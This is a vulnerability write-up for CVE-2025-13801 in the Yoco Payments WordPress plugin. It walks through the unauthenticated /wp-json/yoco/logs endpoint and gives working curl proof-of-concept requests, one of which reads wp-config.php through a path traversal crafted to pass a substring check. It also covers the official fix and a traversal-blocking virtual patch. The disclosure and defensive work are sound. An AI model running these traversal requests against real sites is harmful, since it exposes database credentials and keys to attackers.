Overview
Description (based on CVE.org):
The Yoco Payments plugin for WordPress contains a path traversal vulnerability affecting all versions up to and including 3.8.8. This issue allows unauthenticated attackers to read arbitrary files from the server filesystem, which may result in the disclosure of sensitive information.
Vulnerability
| Software: | Yoco Payments |
| Type: | WordPress Plugin |
| Affected Versions: | <=3.8.8 |
| Affected Component: | REST API |
| CVE ID: | CVE-2025-13801 |
| Vulnerability: | Unauthenticated Arbitrary File Read |
| Impact: | Unauthenticated arbitrary file read leading to disclosure of sensitive server-side files. |
| Attack Prerequisites: | None (publicly accessible REST API endpoint) |
| CVSS Score: | 7.5 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Published: | 2026-01-07 |
| Researcher: | NumeX |
Investigation
The published record on CVE.org helps point us in the right direction: one of its reference links leads directly to the file responsible for the arbitrary file read behavior.
But what if we didn’t have that breadcrumb?
Following the breadcrumbs
One straightforward way to reverse engineer a file read bug in a PHP codebase is to start by grepping for common file-read primitives (file_get_contents, fopen, readfile, etc.). Running a quick recursive search against the plugin code immediately surfaces an interesting hit in ./src/Helpers/Logs.php:
grep -RIn -E '\b(file_get_contents|fopen|readfile)\s*\(' .
./src/Helpers/Logs.php:68: $log_data = file_get_contents( WC_LOG_DIR . $request->get_param( 'file' ) ); // NOSONAR
HEREBashAt a glance, this line is already doing a few things worth zooming in on:
- It’s reading from disk using
file_get_contents() - The path is built using
WC_LOG_DIR+ a request parameter
Identifying the Entrypoint
Upon further investigation, we can start deconstructing what this file is actually responsible for.
namespace Yoco\Helpers;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Server;
use Yoco\Integrations\Yoco\Webhooks\REST\Route;
use Yoco\Integrations\Yoco\Webhooks\REST\RouteInterface;
class Logs extends Route implements RouteInterface {
private string $path = 'logs';
public function register(): bool {
$args = array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'callback' ),
'permission_callback' => array( $this, 'permit' ),
);
return register_rest_route( $this->namespace, $this->path, $args, true );
}PHPThe file defines a Logs class which extends a shared REST Route base class and registers a new REST API endpoint. The route path is set to logs, and it is registered using a namespace inherited from the parent Route class.
Tracing that inheritance chain leads us to Yoco\Integrations\Yoco\Webhooks\REST\Route, where the namespace is defined as yoco. Combining the namespace and route path makes it clear that this code is registering a REST endpoint at: /wp-json/yoco/logs:
<?php
namespace Yoco\Integrations\Yoco\Webhooks\REST;
abstract class Route {
protected string $namespace = 'yoco';
}PHPAt this point, we’ve identified the public entry point potentially responsible for the file read behavior.
The route registration also specifies two handlers that will be invoked when the endpoint is accessed: a callback function, which handles the request itself, and a permit function, which determines whether the request is allowed to proceed. Understanding how these two functions behave becomes key to determining whether this endpoint is properly restricted or exposed to unauthenticated access.
Identifying the Vulnerability
Examining the callback() function more closely allows us to break down the logic that ultimately enables arbitrary file reads.
if (
false === strpos( $request->get_param( 'file' ), 'yoco' )
|| ! file_exists( WC_LOG_DIR . $request->get_param( 'file' ) )
) {
return new WP_REST_Response(
array( 'message' => 'Not found' ),
404
);
}
$log_data = file_get_contents( WC_LOG_DIR . $request->get_param( 'file' ) ); //NOSONARPHPThe function begins by evaluating a conditional check against the incoming request. Specifically, it verifies two things: whether the value of the file parameter contains the string yoco, and whether a file exists at the path constructed by concatenating WC_LOG_DIR with the user-supplied value. If either of these checks fails, the function returns a 404 response.
There are a few immediate red flags here:
- The path provided via the request parameter is treated as trusted input and is used directly in filesystem operations, making it inherently vulnerable to path traversal.
- The safeguard intended to limit access to “valid” log files consists solely of checking for the presence of the string
yocoanywhere in the parameter value. While this may appear reasonable at first glance, especially since legitimate Yoco log files are generated underwp-content/uploads/wc-logs/with filenames that includeyoco, this check does nothing to enforce directory boundaries or prevent traversal.
Once these checks are satisfied, the function proceeds to read the file using file_get_contents(), again building the path directly from the user-controlled input without any sanitization, normalization, or canonicalization. At this point, any traversal sequences embedded in the parameter value are passed straight through to the filesystem.
Finally, the route’s permission callback provides no access control at all. The permit() function unconditionally returns true, meaning the endpoint is accessible to unauthenticated users.
public function permit( WP_REST_Request $request ): bool {
return true;
}PHPOn its own, unauthenticated access to WooCommerce log files may not always be considered a critical issue, particularly on hosts where those files are already web-accessible. However, in this context, the lack of authentication combined with unsafe path handling turns what appears to be a benign log retrieval endpoint into a mechanism for reading arbitrary files from the server. While additional hardening such as restricting access to administrative users would be prudent, the core issue lies in the implicit trust placed in the file parameter and the absence of proper path validation.
Executing the Exploit
We can first confirm that unauthenticated access to files within wp-content/uploads/wc-logs/ works as expected when the requested filename contains the string yoco. Issuing a direct request to the endpoint with the name of a Yoco log file successfully returns its contents, demonstrating that the endpoint is publicly accessible and functioning as intended for its stated purpose:
curl -k \
"https://test.site/wp-json/yoco/logs?file=yoco-gateway-v3-8-8-error-live_mode-2026-01-11-f337831d43a7bd31943995ac5ca37d05.log"
2026-01-11T19:37:28+00:00 ERROR Live secret key seem to be invalid.
2026-01-11T22:54:04+00:00 ERROR Error: plugin suspended due to missing Installation ID. Please visit Yoco Payments settings and "Save changes". Make sure Secret Keys are correct.BashAs expected, attempts to access files outside of the wc-logs directory fail when the requested filename or path does not include the string yoco. In these cases, the endpoint returns the expected “Not found” response, indicating that the initial conditional check is blocking the request.:
curl -k \
"https://test.site/wp-json/yoco/logs?file=../../../README.md"
{"message":"Not found"}% BashHowever, traversal becomes possible as long as the requested path contains yoco somewhere in its value. To illustrate this, a test file named yoco-test.txt was placed in the site’s root directory. By traversing out of the wc-logs directory while still including yoco in the path, the contents of this file can be successfully retrieved:
curl -k \
"https://test.site/wp-json/yoco/logs?file=../../../yoco-test.txt"
If you're reading this, it worked.BashWith a bit of ingenuity, a path can be constructed that reliably satisfies the substring check while still allowing traversal. Using the plugin’s own directory as an anchor, the request traverses upward from wc-logs, descends into wp-content/plugins/yoco-payment-gateway, and then traverses upward once more, ultimately escaping the intended directory and enabling arbitrary file reads.
Exploit (PoC)
- Install Yoco Payments <=3.8.8 from the WordPress.org repo (WooCommerce must be installed), e.g.:
wp plugin install yoco-payment-gateway --version=3.8.8 --activate - Run the
curlcommand:
curl -k --get \
--data-urlencode "file=../../plugins/yoco-payment-gateway/../../../wp-config.php" \
"https://SITEURL/wp-json/yoco/logs"Bash- The contents of
wp-config.phpis returned.
Mitigation
As with any disclosed vulnerability, the first and most effective mitigation is to update the affected plugin to a fixed version. Plugin updates typically include not only security patches but also additional hardening and bug fixes that may not be immediately obvious from the changelog. Site owners running Yoco Payments should ensure they are no longer using versions <= 3.8.8.
Official fix
In the original implementation, the plugin relied on a substring check (yoco appearing somewhere in the user-supplied file parameter) and a simple file_exists() call against WC_LOG_DIR . <user input>. Because the input was trusted and the resulting path was never canonicalized, an attacker could supply traversal sequences and escape the intended log directory.
false === strpos( $request->get_param( 'file' ), 'yoco' )
|| ! file_exists( WC_LOG_DIR . $request->get_param( 'file' ) )PHPThe fix replaces this with proper sanitization and canonical path validation. It first resolves the base log directory using realpath(WC_LOG_DIR). If the base directory cannot be resolved, it returns a 500 Server error, rather than proceeding with an undefined or unsafe path.
$base_dir = realpath( WC_LOG_DIR );
if ( false === $base_dir ) {
return new WP_REST_Response( array( 'message' => 'Server error' ), 500 );
}
PHPIt then resolves the requested file path via realpath() and ensures the canonical target remains within the canonical base directory (preventing both traversal and symlink escapes). Finally, it reads from the validated $target path.
$target = realpath( WC_LOG_DIR . $file );
// realpath() resolves ../ and symlinks.
if (
false === $target
|| 0 !== strpos( $target, $base_dir . DIRECTORY_SEPARATOR )
) {
return new WP_REST_Response(
array( 'message' => 'Not found' ),
404
);
}
if ( ! is_file( $target ) || ! is_readable( $target ) ) {
return new WP_REST_Response(
array( 'message' => 'Not found' ),
404
);
}PHPPlatform-level mitigation
Where immediate updates are not possible, additional platform-level mitigations can be applied to reduce exposure until the vulnerable code is removed.
The following mitigation is provided as a platform-level stopgap for environments where immediate plugin updates are not feasible. It implements a narrowly scoped MU-plugin virtual patch that intercepts requests to the affected /yoco/logs REST API endpoint and blocks directory traversal attempts in the file parameter. The mitigation normalizes user input to detect both raw and URL-encoded traversal sequences before the request reaches the vulnerable code path. This approach is intended to reduce exposure while official fixes are applied and does not modify the plugin code itself.
<?php
/**
* MU vpatch: Mitigates CVE-2025-13801 by blocking path traversal attempts
* against the Yoco Payments `/yoco/logs` REST API endpoint.
*
* This patch prevents unauthenticated arbitrary file read by rejecting
* requests where the `file` parameter contains directory traversal
* sequences (raw or URL-encoded). The mitigation is narrowly scoped to
* the affected endpoint and avoids filesystem interaction.
*
* This is a targeted, minimal mitigation written as part of active CVE
* research and incident response work. It is intended to reduce exposure
* risk while upstream fixes are pending or under evaluation.
*
* Author: danielr
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
add_filter(
'rest_pre_dispatch',
function( $result, $server, $request ) {
if ( '/yoco/logs' !== $request->get_route() ) {
return $result;
}
$file = (string) $request->get_param( 'file' );
if ( '' === $file ) {
return $result;
}
$decoded = rawurldecode( $file );
$hay = strtolower( $file . "\n" . $decoded );
if (
false !== strpos( $hay, '../' ) ||
false !== strpos( $hay, '..\\' ) ||
false !== strpos( $hay, '%2e%2e%2f' ) ||
false !== strpos( $hay, '%2e%2e%5c' ) ||
false !== strpos( $hay, '%252e%252e%252f' ) ||
false !== strpos( $hay, '%252e%252e%255c' )
) {
return new WP_Error(
'rest_forbidden',
'Forbidden.',
array( 'status' => 403 )
);
}
return $result;
},
10,
3
);
PHPFinal Thoughts
Although this issue may initially appear limited to reading log files, the combination of unauthenticated access and unsafe path handling makes it far more serious. Once traversal is possible, an attacker is no longer constrained to Yoco logs and can read arbitrary files from the filesystem.
Exposure of files like wp-config.php carries real consequences. Database credentials can be used to directly access and manipulate site data, including creating or modifying users and performing destructive actions. The authentication keys and salts defined there can also be leveraged to forge or invalidate sessions, generate valid nonces, and make authenticated requests as other users.
What makes this vulnerability notable is how reasonable the original safeguards appear. A substring check and a file existence test may seem sufficient at a glance, yet they fail to enforce any real boundary when user-controlled input is involved.
Updating to a fixed version is the proper long-term solution. Where that is not immediately possible, narrowly scoped platform-level mitigations can help reduce exposure. Ultimately, this serves as a reminder that filesystem access is inherently risky, and even small assumptions about input safety can have serious consequences.
Leave a Reply